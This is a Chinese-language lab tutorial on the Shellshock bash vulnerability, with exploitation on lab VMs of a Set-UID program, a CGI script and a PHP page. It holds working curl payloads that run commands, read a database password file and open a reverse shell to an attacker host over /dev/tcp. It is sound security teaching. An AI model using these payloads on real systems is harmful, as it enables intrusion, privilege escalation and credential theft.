Shellshock

shell函數

  1. 在操作系統中,shell程序是一個命令解釋器,他從終端窗口或控制檯讀取並執行命令,shell提供了用戶和操作系統之間的接口。
  2. 目前存在着許多種不同類型的shell,包括sh(Bourne shell)、bash(Bource-again shell)、csh(C shell)、zsh(Z shell)和Windows PowerShell等。
  3. Bash是Linux操作系統中最受歡迎的shell程序之一,Bash中的Shellshock漏洞與內部定義的函數有關,這些函數被稱爲shell函數。
root@VM:~# foo(){ echo "inside function";}
root@VM:~# declare -f foo 
foo () 
{ 
    echo "inside function"
}
root@VM:~# foo
inside function
root@VM:~# unset -f foo
root@VM:~# declare -f foo 
  • 上面第一個命令定義了一個shell函數。
  • 一個已經定義的shell函數可以使用declare命令打印出來。
  • 爲了使用shell函數,只需要在命令行中輸入函數名稱。
  • 一旦不需要某個shell函數,可以使用unset命令來刪除它。
  1. 將shell函數傳遞給子進程
  • Shellshock漏洞涉及進程如何把函數傳遞給它的子shell進程。
    1. 直接在父shell進程中定義一個函數,並將它輸出給子進程,子shell進程就可以擁有這個函數了。
    [07/05/20]seed@VM:~$ foo() { echo "hello world"; }
    [07/05/20]seed@VM:~$ export -f foo
    [07/05/20]seed@VM:~$ bash
    [07/05/20]seed@VM:~$ foo
    hello world
    
    1. 第二方式是定義一個包含特殊內容的shell變量,foo變量以一對圓括號開頭,後面跟着一句由兩個大括號包含的命令,對於前面這些內容來說,這些圓括號、大括號沒有任何意義,它們僅僅是一個變量的內容。
    • 但是如果輸出這個變量,然後再運行一個子Bash,就會發現在子shell中foo不再是一個簡單的shell變量,而是變成了一個shell函數。
    [07/05/20]seed@VM:~/code$ foo='() { echo "hello world"; };'
    [07/05/20]seed@VM:~/code$ echo $foo
    () { echo "hello world"; };
    [07/05/20]seed@VM:~/code$ declare -f foo
    foo () 
    { 
        echo "hello world"
    }
    [07/05/20]seed@VM:~/code$ unset -f foo
    [07/05/20]seed@VM:~/code$ declare -f foo
    [07/05/20]seed@VM:~/code$ export foo
    [07/05/20]seed@VM:~/code$ bash_shellshock 
    [07/05/20]seed@VM:~/code$ echo $foo
    
    [07/05/20]seed@VM:~/code$ declare -f foo
    foo () 
    { 
        echo "hello world"
    }
    
    • 當一個shell變量被export命令標記時,它將作爲環境變量傳遞給子進程。如果子進程中執行的程序又是一個Bash程序,則子進程的shell程序將環境變量轉換成它自己的shell變量。在這個轉換過程中,當Bash發現一個以一對圓括號開始的環境變量時,它就將該環境變量轉換成一個shell函數,而非一個shell變量。
  1. Shellshock漏洞
[07/05/20]seed@VM:~/code$ foo='() { echo "hello world";}; echo "extra";'
[07/05/20]seed@VM:~/code$ echo $foo
() { echo "hello world";}; echo "extra";
[07/05/20]seed@VM:~/code$ export foo
[07/05/20]seed@VM:~/code$ bash_shellshock 
extra
[07/05/20]seed@VM:~/code$ echo $foo

[07/05/20]seed@VM:~/code$ declare -f foo
foo () 
{ 
    echo "hello world"
}
  • 父進程可以通過環境變量向子進程shell傳遞函數定義,當子進程的Bash將環境變量轉換成函數時,Bash應當將變量中的指令解析出來,而不是執行它們。
  • 定義一個shell變量foo,用一個看上去函數定義的字符串作爲變量foo的值,並且在結尾的大括號後面添加一個額外的命令echo,用export命令標記該shell變量,這樣它會作爲環境變量傳遞給子進程,當一個子進程的Bash被創建時,子shell將會解析該環境變量,把它轉換爲子函數定義,在解析過程中,由於Shellshock漏洞,Bash將執行大括號後面的額外命令。
  1. Bash源代碼中的錯誤
if(privmode==0 && read_but_dont_execute ==0 && STREQN("() {",string,4){
...
parse_and_excute(temp_string,name,SEVAL_NONINT|SEVAL_NOHIST);
}
  • Bash檢查環境變量是否以"(){"開頭,以確定是否需要把它轉換爲函數,一旦發現這樣的字符串,Bash將“=”替換成空格從而將環境變量變成一個函數定義,生產下面的字符串:
foo(){echo "hello world";};echo "extre";
  • 然後Bash調用parse_and_execute()函數來解析函數定義,然而parse_and_execute()函數的功能太過強大,它不僅僅解析函數定義,還可以解析和運行其他的shell指令。如果字符串只是一個函數定義,該函數只會解析它而不會執行它,但如果該字符串包含用分號(;)隔開的多個shell命令,則parse_and_execute()函數會解析和運行每一條命令。
  1. Shellshock漏洞的利用
  • 必須滿足兩個條件:
    1. 目標進程必須運行Bash
    2. 攻擊者只能通過環境變量把攻擊數據傳給目標進程,如果不是這樣的話,Shellshock漏洞則不會被激發。

利用ShellShock攻擊Set-UID程序

  1. 當一個root用戶的Set-UID程序通過system()函數執行/bin/ls程序時,將會啓動一個Bash進程,攻擊者設計的環境變量將導致非授權的命令以root權限被執行。
  2. 準備有漏洞的程序
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

void main()
{
        setuid(geteuid());
        system("/bin/ls -l");
}
  • system()函數來執行來執行/bin/ls命令,system()函數實際上會使用fork()函數來創建子進程,然後使用execl()函數執行/bin/sh程序,最終請求shell程序執行/bin/ls。
  • 在Ubuntu16.04中,/bin/sh指向的是/bin/dash,因此system()函數只會調用/bin/dash,而這個程序是沒有Shellshock漏洞的,因此需要修改鏈接,讓/bin/sh指向有漏洞的bash_shellshock程序。
sudo ln -sf /bin/bash_shellshock /bin/sh
  • setuid(seteuid())函數把真是用戶ID變爲和有效用戶ID一致,因爲如果真實用戶ID和有效用戶ID不一致的話,Bash不會處理從環境變量處獲得函數定義,因此不會受到Shellshock攻擊。
  1. 編譯並設置程序爲root用戶的Set-UID程序。
[07/05/20]seed@VM:~/codegcc -o vul vul.c
[07/05/20]seed@VM:~/codesudo chown root vul
[07/05/20]seed@VM:~/codesudo chmod 4755 vul
[07/05/20]seed@VM:~/code$ ./vul
total 12
-rwsr-xr-x 1 root seed 7420 Jul  5 07:40 vul
-rw-rw-r-- 1 seed seed  119 Jul  5 07:40 vul.c
  1. 基於Shellshock漏洞,可以構造一個函數聲明,並將所選命令(/bin/sh)放在聲明的最後,然後輸出(export),再運行程序。
  • 在這裏需要注意shell函數聲明內部的空格縮進,否則易發生錯誤。
[07/05/20]seed@VM:~/code$ export foo='() { echo hello; }; /bin/sh'
[07/05/20]seed@VM:~/code$ ./vul
sh-4.2# 
  • 當運行Set-UID程序時(vul)時,shell變量會變成子進程的環境變量,由於system()函數的原因,Bash會被調用,它檢測到環境變量foo中存放一個函數聲明,因此會解析該聲明。
  • 由於解析邏輯中的漏洞,它最終會執行放在末尾的/bin/sh,可以看到在運行後,出現了一個#號提示符就說明我們已經獲取到了root權限的shell。

利用Shellshock攻擊CGI程序

  1. 通用網關接口(CGI)被Web服務器用來生成動態網頁的可執行程序,許多CGI程序時shell腳本,如果程序使用了Bash,那麼它可能成爲Shellshock的攻擊目標。
  2. 該實驗需要準備兩臺虛擬機:一個時攻擊者,一個是目標服務器。
  • 首先用Bash腳本編寫一個簡單的CGI程序,它的作用僅僅是打印出“Hello World”。
  • 在CGI程序中使用有漏洞的bash_shellshock
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo
echo "Hello World"
  • 然後需要將該CGI程序放到目標服務器的/usr/lib/cgi-bin目錄中,並將它的權限設置爲775,該目錄是Apache服務器的默認CGI目錄。
seed@VM:/usr/lib/cgi-bin# sudo chmod 775 test.cgi 
  • 爲了從攻擊者的機器上訪問該CGI程序,有兩種方法:
    1. 在瀏覽器中輸入:
    http://192.168.137.128/cgi-bin/test.cgi
    
    1. 使用一個名爲curl的程序,該程序是用來發送HTTP請求的命令行攻擊:
    C:\Users\12586>curl http://192.168.137.128/cgi-bin/test.cgi
    Hello World
    
  1. Web服務器如何調用CGI程序
    1. 當用戶向Apache服務器發送CGI請求時,Apache服務器會檢查該請求,如果是一個CGI請求,Apache服務器會用fork()函數來新建一個進程,然後使用exec()函數族中的某個函數在新進程中執行CGI程序。
    2. 因爲CGI程序以"#!/bin/bash_shellshock"開頭,因此該程序是一個shell腳本,exec()函數實際上執行的是/bin/bash_shellshock,Bash會運行shell腳本。
    3. 出發Bash只是ShellShock攻擊成功的條件之一,另一個重要的條件是攻擊者必須通過環境變量爲Bash程序提供輸入。
    • 修改test.cgi程序如下:
    #!/bin/bash_shellshock
    
    echo "Content-type: text/plain"
    echo
    echo
    echo "Environment Variables"
    strings /proc/$$/environ
    
    • 最後一行指令"strings /proc//environ"Bash/environ"能打印出一個進程的所有環境變量,Bash會將替換成當前進程的ID。
    • 然後,通過curl來訪問該CGI程序,使用-v選項,curl會打印出HTTP請求和來自服務器的響應。
    C:\Users\12586> curl -v http://192.168.137.128/cgi-bin/test.cgi
    *   Trying 192.168.137.128...
    * Connected to 192.168.137.128 (192.168.137.128) port 80 (#0)
    > GET /cgi-bin/test.cgi HTTP/1.1
    > Host: 192.168.137.128
    > User-Agent: curl/7.47.0
    > Accept: */*
    > 
    < HTTP/1.1 200 OK
    < Date: Sun, 05 Jul 2020 13:44:00 GMT
    < Server: Apache/2.4.18 (Ubuntu)
    < Vary: Accept-Encoding
    < Transfer-Encoding: chunked
    < Content-Type: text/plain
    < 
    Environment Variables
    HTTP_HOST=192.168.137.128
    HTTP_USER_AGENT=curl/7.47.0
    HTTP_ACCEPT=*/*
    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    ....
    
    • CGI程序打印出CGI進程的所有環境變量,其中一個環境變量HTTP_USER_AGENT,它的值和請求中的Uset-Agent完全一樣,因此可以知道,Apache服務器從HTTP請求頭中獲得User-Agent信息,並將它賦值給一個名爲HTTP_USER_AGENT的環境變量。
    • 當Apache服務器創建一個子進程來執行CGI程序時,它會傳遞該變量以及其他一些環境變量給CGI程序。
    • 使用命令行工具curl,該命令"-A"選項可以用來設置請求的User-Agent字段。
    C:\Users\12586>curl -A "test" -v http://192.168.137.128/cgi-bin/test.cgi
    *   Trying 192.168.137.128...
    * TCP_NODELAY set
    * Connected to 192.168.137.128 (192.168.137.128) port 80 (#0)
    > GET /cgi-bin/test.cgi HTTP/1.1
    > Host: 192.168.137.128
    > User-Agent: test
    > Accept: */*
    >
    < HTTP/1.1 200 OK
    < Date: Sun, 05 Jul 2020 13:53:53 GMT
    < Server: Apache/2.4.18 (Ubuntu)
    < Vary: Accept-Encoding
    < Transfer-Encoding: chunked
    < Content-Type: text/plain
    <
    
    Environment Variables
    HTTP_HOST=192.168.137.128
    HTTP_USER_AGENT=test
    ...
    
    • 可以看HTTP請求的User-Agent字段被設置爲"test",HTTP_USER_AGENT環境變量也獲得了一樣的內容。
  2. 實施Shellshock攻擊
    1. 獲取服務器目錄信息
    • 攻擊者需要做的是爲了User-Agent字段構造一個字符串,以觸發Bash中的錯誤解析邏輯,目標是讓CGI程序執行選擇的命令。
    • 首先嚐試一個/bin/ls指令,看能否獲取服務器某個目錄中的內容,在這個命令之前,還需要指定Apache返回數據的類型,因爲Apache會受到CGI程序打印出的任何內容,因此可以通過Content-type: text/plain來告訴Apache服務器數據的類型。
    C:\Users\12586>curl -A "() { echo hello; }; echo Content-type: text/plain; echo; /bin/ls -l"  http://192.168.137.128/cgi-bin/test.cgi
    total 4
    -rwxrwxr-x 1 seed seed 121 Jul  5 09:43 test.cgi
    
    • 從運行結果來看,/bin/ls命令得到了執行。
    • 在Ubuntu中,Web服務器以www-data用戶ID運行,這使得程序的權限非常有限,利用該權限不能控制服務器,但卻能造成一些破壞。
    1. 盜取密碼
    • 當一個Web應用連接後臺數據庫(MySQL時),它需要提供登錄密碼,這些密碼通常是直接寫在程序中的,或者存儲在配置文件中,遠程用戶無法讀取這些密碼,但是如果讓服務器運行指令,就可以獲得這些密碼。
    • Ubuntu虛擬機中的Web服務器運行了幾個Web應用,它們中的大多數都是使用數據庫的,可以從下面這個文件獲得密碼:/var/www/CSRF/Elgg/elgg-config/settings.php,一旦獲得了密碼,就可以直接登錄到數據庫,盜取或者改動信息。
    	C:\Users\12586>curl -A "() { echo hello; }; echo Content-type: text/plain; echo; /bin/cat /var/www/CSRF/Elgg/elgg-config/settings.php"  http://192.168.137.128/cgi-bin/test.cgi
    <?php
    
    date_default_timezone_set('UTC');
    global $CONFIG;
    if (!isset($CONFIG)) {
            $CONFIG = new \stdClass;
    }
    $CONFIG->dbuser = 'elgg_admin';
    
    /**
     * The database password
     *
     * @global string $CONFIG->dbpass
     */
    $CONFIG->dbpass = 'seedubuntu';
    
    1. 創建反向shell
    • 通過shellshock漏洞在服務器中運行的最理想的命令時shell程序,因爲shell程序允許用戶輸入任何命令,如果將/bin/bash放在Shellshock攻擊中,Bash的確會在服務器端被執行,但是卻無法控制它,不能給他提供命令,也無法看到它的輸出。
    • 反向Shell是讓程序把它的輸入和輸出都交由遠程計算機的用戶控制,一般在受害者的機器中運行該Shell,從攻擊者的機器中接受輸入,同時也將輸出發送到攻擊者的機器中,反向shell爲攻擊者提供了一種在已被攻破的機器中運行命令的便捷方法。
    • 攻擊者可以使用netcat命令來運行一個TCP服務器,該服務器能夠答應出客戶端發來的所有信息,並向客戶端發送用戶在本地服務器中輸入的信息。
    nc -lv 9090
    
    • 上述nc命令會阻塞等待並連接,現在服務器上直接運行下面的Bash程序:
    /bin/bash -i > /dev/tcp/192.168.137.129/9090 0<&1 2>&1
    
    • 該命令實在被攻破的服務器上執行的命令:
      • /bin/bash -i意味着使用shell的可交互模式,shell在這個模式下會提供提示符。
      • /dev/tcp/192.168.137.129/9090,使得shell的輸出設備被重定向至TCP連接,連接到192.168.137.129的9090端口,在UNIX系統中,stdout的文件描述符是1.
      • 0<&1:文件描述符0代表標準輸入設備,這個選項告訴系統將標準輸出設備也用作標準輸入設備。由於標準輸出已經重定向到TCP連接,因此Shell程序會從同一個TCP連接獲得輸入。TCP連接是一個雙向設備,既可以往裏面寫數據,也可以從中讀取數據。
      • 2>&1:文件描述符2代表標準錯誤,這是錯誤也被重定向到TCP連接。
    • 總結:/bin/bash -i > /dev/tcp/192.168.137.129/9090 0<&1 2>&1在服務器上開啓一個Bash shell,他的輸入來自TCP連接,輸出又被傳給同一個TCP連接。
    • 回到攻擊者的計算機可以看到反向shell創建成功:
    Attacker@VM:/$ nc -lv 9090
    Listening on [0.0.0.0] (family 0, port 9090)
    Connection from [192.168.137.128] port 9090 [tcp/*] accepted (family 2, sport 47964)
    [07/05/20]seed@VM:~$ 
    
    • 在Shellshock攻擊中創建反向Shell
      1. 攻擊者先運行
      	Attacker@VM:/$ nc -lv 9090
      
      1. 然後再啓動一個控制檯運行下面給命令向目標服務器的CGI發起惡意請求:
      	Attacker@VM:/$ curl -A "() { echo hello; }; echo Content-type: text/plain; echo; echo; /bin/bash -i > /dev/tcp/192.168.137.129/9090 0<&1 2>&1" 	http://192.168.137.128/cgi-bin/test.cgi
      
      3.從結果來看,一旦curl指令被執行,攻擊指令也會再服務器上被運行,這將導致CGI程序觸發一個Bash shell,該Bash shell會鏈接到192.168.137.129的9090端口,也就是攻擊者的計算機,攻擊者的nc程序會接受這個連接,並顯示由遠端服務器的CGI觸發的Bash程序送來的Shell提示符,這表反向Shell成功了。
      Attacker@VM:/$ nc -lv 9090
      Listening on [0.0.0.0] (family 0, port 9090)
      Connection from [192.168.137.128] port 9090 [tcp/*] accepted (family 2, sport 47966)
      bash: cannot set terminal process group (2389): Inappropriate ioctl for device
      bash: no job control in this shell
      www-data@VM:/usr/lib/cgi-bin$ id
      id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)
      
      1. 結果表明,可以服務器上以www-data身份運行任何命令了,雖然不是一個特殊用戶。

針對PHP的遠程攻擊

  1. 對於shellshock的漏洞,php滿足兩個條件:
    • Php有system()函數可以用來執行外部命令。
    • 用戶數據需要被作爲環境變量傳入給PHP程序,因此程序調用system()函數時,環境變量被進一步傳遞給運行的Bash程序。
  2. 再Apach服務器中,PHP可以通過三種方式運行:Apache組件、CGI和Fast CGI。以CGI運行PHP會與之前例子有相同的效果,但是以Fast CGI和Apache組件運行,從Apache服務器獲得的數據無法通過環境變量交給PHP程序。
  3. 如果再調用system()之前,PHP程序根據用戶的輸入設置了環境變量,那麼它還是存在Shellshock漏洞的。
<?php
function getParam()
{
        $arg = NULL;
        if(isset($_GET["arg"]) && !empty($_GET["arg"]))
        {
                $arg = $_GET["arg"];
        }
        return $arg;
}
$arg = getParam();
putenv("ARG=$arg");
system("strings /proc/$$/environ | grep ARG");
?>
  • 將該文件放到/var/www/html目錄下,修改文件權限爲775.
  • 通過攻擊者的計算機執行如下指令:
Attacker@VM:/$ curl http://192.168.137.128/test.php?arg="()%20%7B%20echo%20hello;%20%7D;%20/bin/cat%20/var/www/secret.txt"
THIS IS SECRET
  • 對於arg參數來說,除了包含一個shell函數定義外,還加上額外的命令,該命令是"arg=() { echo hello;}; /bin/cat /var/www/secret.txt"的URL編碼,該命令的目的是讀取secret.txt文件的內容,當system()函數開啓shell程序解析環境變量時,在shell函數定義末尾的額外指令將被執行。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章